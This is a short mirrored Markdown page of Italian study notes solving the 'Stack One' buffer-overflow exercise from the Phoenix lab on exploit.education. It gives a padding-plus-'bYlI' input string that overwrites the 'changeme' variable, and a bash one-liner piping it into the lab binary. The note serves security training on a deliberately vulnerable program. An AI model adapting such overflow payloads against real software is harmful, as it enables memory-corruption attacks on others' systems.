mirror of
https://github.com/Steffo99/appunti-magistrali.git
synced 2024-11-25 19:44:18 +00:00
11 lines
No EOL
413 B
Markdown
11 lines
No EOL
413 B
Markdown
# [Stack One](https://exploit.education/phoenix/stack-one/)
|
|
|
|
Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI` come input.
|
|
|
|
`bYlI` manda `buffer` in overflow, impostando il valore di `changeme` ad `"bYlI"`, ovvero `0x496c5962` (***in architetture little-endian***).
|
|
|
|
## Soluzione
|
|
|
|
```bash
|
|
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI' | ./stack-one
|
|
``` |